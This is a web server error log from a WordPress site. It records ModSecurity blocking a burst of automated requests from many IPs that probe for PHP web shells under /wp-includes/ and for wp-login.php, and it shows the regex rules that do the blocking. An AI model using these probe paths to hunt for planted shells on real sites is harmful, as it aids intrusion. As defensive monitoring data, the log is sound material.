[Fri Nov 21 16:51:01.031492 2025] [:error] [pid 25521:tid 25541] [client 45.132.227.54:31747] [client 45.132.227.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.227.54, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSAn9fhXnBMilDddn3X9DgAAANI"]
[Fri Nov 21 16:51:06.261410 2025] [:error] [pid 25521:tid 25531] [client 45.132.227.54:31747] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSAn-vhXnBMilDddn3X9KgAAAMg"]
[Fri Nov 21 16:51:09.112672 2025] [:error] [pid 25521:tid 25537] [client 136.144.42.78:41711] [client 136.144.42.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.42.78, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSAn_fhXnBMilDddn3X9LwAAAM4"]
[Fri Nov 21 16:51:09.990104 2025] [:error] [pid 25521:tid 25534] [client 136.144.42.78:41711] [client 136.144.42.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aSAn_fhXnBMilDddn3X9MgAAAMs"]
[Fri Nov 21 16:51:14.407278 2025] [:error] [pid 25429:tid 25441] [client 172.98.32.81:27387] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aSAoAj4rZbRSr7vu-NO7pAAAAAg"]
[Fri Nov 21 16:51:18.760840 2025] [:error] [pid 25521:tid 25524] [client 172.98.32.83:60063] [client 172.98.32.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSAoBvhXnBMilDddn3X9RgAAAME"]
[Fri Nov 21 16:51:20.495998 2025] [:error] [pid 46939:tid 46950] [client 45.132.227.55:51887] [client 45.132.227.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aSAoCO0OmVoxD4VZ_ZmNTwAAAUg"]
[Fri Nov 21 16:51:22.664070 2025] [:error] [pid 25554:tid 25560] [client 172.98.32.93:44627] [client 172.98.32.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.93, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSAoCh-NtB-9AzFZrk5pjgAAAQI"]
[Fri Nov 21 16:51:23.101725 2025] [:error] [pid 25554:tid 25579] [client 172.98.32.93:44627] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aSAoCx-NtB-9AzFZrk5pjwAAARU"]
[Fri Nov 21 16:51:31.479678 2025] [:error] [pid 25431:tid 25499] [client 136.144.42.74:50131] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aSAoE8klhXxmoIExII1LdAAAAIw"]
[Fri Nov 21 16:51:33.650413 2025] [:error] [pid 46939:tid 46961] [client 136.144.42.72:26883] [client 136.144.42.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.42.72, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aSAoFe0OmVoxD4VZ_ZmNYwAAAVM"]
[Fri Nov 21 16:51:35.392839 2025] [:error] [pid 46939:tid 46958] [client 136.144.42.72:26883] [client 136.144.42.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSAoF-0OmVoxD4VZ_ZmNaQAAAVA"]
[Fri Nov 21 16:51:36.697806 2025] [:error] [pid 46939:tid 46960] [client 45.132.227.58:31423] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aSAoGO0OmVoxD4VZ_ZmNcAAAAVI"]
[Fri Nov 21 16:51:39.820688 2025] [:error] [pid 46939:tid 46961] [client 172.98.32.94:47629] [client 172.98.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSAoG-0OmVoxD4VZ_ZmNfQAAAVM"]
[Fri Nov 21 16:51:41.991953 2025] [:error] [pid 46939:tid 46965] [client 172.98.32.90:50221] [client 172.98.32.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSAoHe0OmVoxD4VZ_ZmNgwAAAVc"]
[Fri Nov 21 16:51:42.852629 2025] [:error] [pid 25554:tid 25565] [client 172.98.32.76:43861] [client 172.98.32.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aSAoHh-NtB-9AzFZrk5qBQAAAQc"]
[Fri Nov 21 16:51:45.898002 2025] [:error] [pid 46939:tid 46956] [client 136.144.42.79:57321] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSAoIe0OmVoxD4VZ_ZmNlwAAAU4"]
[Fri Nov 21 16:51:47.197929 2025] [:error] [pid 25521:tid 25540] [client 45.132.227.63:46447] [client 45.132.227.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aSAoI_hXnBMilDddn3X9XwAAANE"]
[Fri Nov 21 16:51:49.407217 2025] [:error] [pid 46939:tid 46948] [client 45.132.227.60:41719] [client 45.132.227.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aSAoJe0OmVoxD4VZ_ZmNoAAAAUY"]
[Fri Nov 21 16:51:51.608122 2025] [:error] [pid 25429:tid 25436] [client 45.132.227.56:41387] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aSAoJz4rZbRSr7vu-NO74AAAAAM"]
[Fri Nov 21 16:51:53.347131 2025] [:error] [pid 25431:tid 25507] [client 45.132.227.62:24037] [client 45.132.227.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aSAoKcklhXxmoIExII1LkAAAAJQ"]
[Fri Nov 21 16:51:55.534545 2025] [:error] [pid 25554:tid 25581] [client 172.98.32.89:40319] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aSAoKx-NtB-9AzFZrk5qGgAAARc"]
[Fri Nov 21 16:51:59.444838 2025] [:error] [pid 25521:tid 25526] [client 45.132.227.52:53391] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aSAoL_hXnBMilDddn3X9dQAAAMM"]
[Fri Nov 21 16:52:00.455173 2025] [:error] [pid 25429:tid 25457] [client 172.98.32.99:45115] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aSAoMD4rZbRSr7vu-NO75QAAABg"]
[Fri Nov 21 16:52:01.333581 2025] [:error] [pid 25430:tid 25475] [client 172.98.32.80:30917] [client 172.98.32.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aSAoMapnWJcWt_4foXlWowAAAE8"]
[Fri Nov 21 16:52:02.202264 2025] [:error] [pid 25430:tid 25472] [client 45.132.227.55:36413] [client 45.132.227.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aSAoMqpnWJcWt_4foXlWpAAAAEw"]
[Fri Nov 21 16:52:03.523738 2025] [:error] [pid 25429:tid 25433] [client 172.98.32.98:48557] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aSAoMz4rZbRSr7vu-NO76QAAAAA"]
[Fri Nov 21 16:52:04.458092 2025] [:error] [pid 25429:tid 25444] [client 45.132.227.52:39199] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSAoND4rZbRSr7vu-NO76gAAAAs"]
[Fri Nov 21 16:52:06.191587 2025] [:error] [pid 25429:tid 25449] [client 45.132.227.63:45311] [client 45.132.227.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSAoNj4rZbRSr7vu-NO78QAAABA"]
[Fri Nov 21 16:52:07.059627 2025] [:error] [pid 25431:tid 25491] [client 45.132.227.56:43977] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSAoN8klhXxmoIExII1LnAAAAIQ"]
[Fri Nov 21 16:52:07.931311 2025] [:error] [pid 25429:tid 25440] [client 45.132.227.66:41183] [client 45.132.227.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aSAoNz4rZbRSr7vu-NO79AAAAAc"]
[Fri Nov 21 16:52:08.794734 2025] [:error] [pid 25431:tid 25495] [client 172.98.32.81:27869] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aSAoOMklhXxmoIExII1LoQAAAIg"]
[Fri Nov 21 16:52:10.124952 2025] [:error] [pid 25554:tid 25559] [client 172.98.32.100:32023] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSAoOh-NtB-9AzFZrk5qMAAAAQE"]
[Fri Nov 21 16:52:11.879835 2025] [:error] [pid 46939:tid 46964] [client 45.132.227.56:32255] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aSAoO-0OmVoxD4VZ_ZmNwwAAAVY"]
[Fri Nov 21 16:52:14.497160 2025] [:error] [pid 25554:tid 25560] [client 136.144.42.73:37603] [client 136.144.42.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aSAoPh-NtB-9AzFZrk5qQgAAAQI"]
[Fri Nov 21 16:52:18.459402 2025] [:error] [pid 25521:tid 25541] [client 45.132.227.66:58673] [client 45.132.227.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aSAoQvhXnBMilDddn3X9ggAAANI"]
[Fri Nov 21 16:52:20.643790 2025] [:error] [pid 46939:tid 46959] [client 172.98.32.78:45583] [client 172.98.32.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aSAoRO0OmVoxD4VZ_ZmN4QAAAVE"]
[Fri Nov 21 16:52:21.505782 2025] [:error] [pid 25429:tid 25455] [client 45.132.227.68:30467] [client 45.132.227.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aSAoRT4rZbRSr7vu-NO8DgAAABY"]
[Fri Nov 21 16:52:24.119510 2025] [:error] [pid 46939:tid 46962] [client 45.132.227.58:28757] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSAoSO0OmVoxD4VZ_ZmN8QAAAVQ"]
[Fri Nov 21 16:52:26.310213 2025] [proxy_fcgi:error] [pid 25430:tid 25478] [client 172.98.32.84:37473] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:52:26.751011 2025] [proxy_fcgi:error] [pid 25430:tid 25472] [client 172.98.32.84:37473] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:52:27.201945 2025] [proxy_fcgi:error] [pid 25430:tid 25481] [client 172.98.32.84:37473] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:52:29.423212 2025] [:error] [pid 25430:tid 25480] [client 172.98.32.84:37473] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSAoTapnWJcWt_4foXlWxAAAAFQ"]
[Fri Nov 21 16:52:30.283559 2025] [:error] [pid 25521:tid 25540] [client 45.132.227.67:39679] [client 45.132.227.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aSAoTvhXnBMilDddn3X9lwAAANE"]
[Fri Nov 21 16:52:31.163381 2025] [:error] [pid 25521:tid 25531] [client 45.132.227.61:39555] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aSAoT_hXnBMilDddn3X9mwAAAMg"]
[Fri Nov 21 16:52:32.025181 2025] [:error] [pid 25429:tid 25451] [client 172.98.32.84:28027] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aSAoUD4rZbRSr7vu-NO8HQAAABI"]
[Fri Nov 21 16:52:32.887819 2025] [:error] [pid 25554:tid 25562] [client 45.132.227.54:48475] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aSAoUB-NtB-9AzFZrk5qbAAAAQQ"]
[Fri Nov 21 16:52:34.957070 2025] [:error] [pid 46939:tid 46943] [client 136.144.42.78:26163] [client 136.144.42.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aSAoUu0OmVoxD4VZ_ZmOBQAAAUE"]
[Fri Nov 21 16:52:36.255280 2025] [:error] [pid 46939:tid 46953] [client 45.132.227.53:47525] [client 45.132.227.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aSAoVO0OmVoxD4VZ_ZmOCAAAAUs"]
[Fri Nov 21 16:52:37.125329 2025] [:error] [pid 25430:tid 25463] [client 45.132.227.67:31883] [client 45.132.227.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aSAoVapnWJcWt_4foXlW0gAAAEM"]
[Fri Nov 21 16:52:38.011469 2025] [:error] [pid 25429:tid 25439] [client 172.98.32.91:32329] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aSAoVj4rZbRSr7vu-NO8JgAAAAY"]
[Fri Nov 21 16:52:38.885243 2025] [:error] [pid 46939:tid 46965] [client 172.98.32.77:61885] [client 172.98.32.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aSAoVu0OmVoxD4VZ_ZmODQAAAVc"]
[Fri Nov 21 16:52:40.632354 2025] [:error] [pid 46939:tid 46945] [client 45.132.227.61:40963] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aSAoWO0OmVoxD4VZ_ZmOJAAAAUM"]
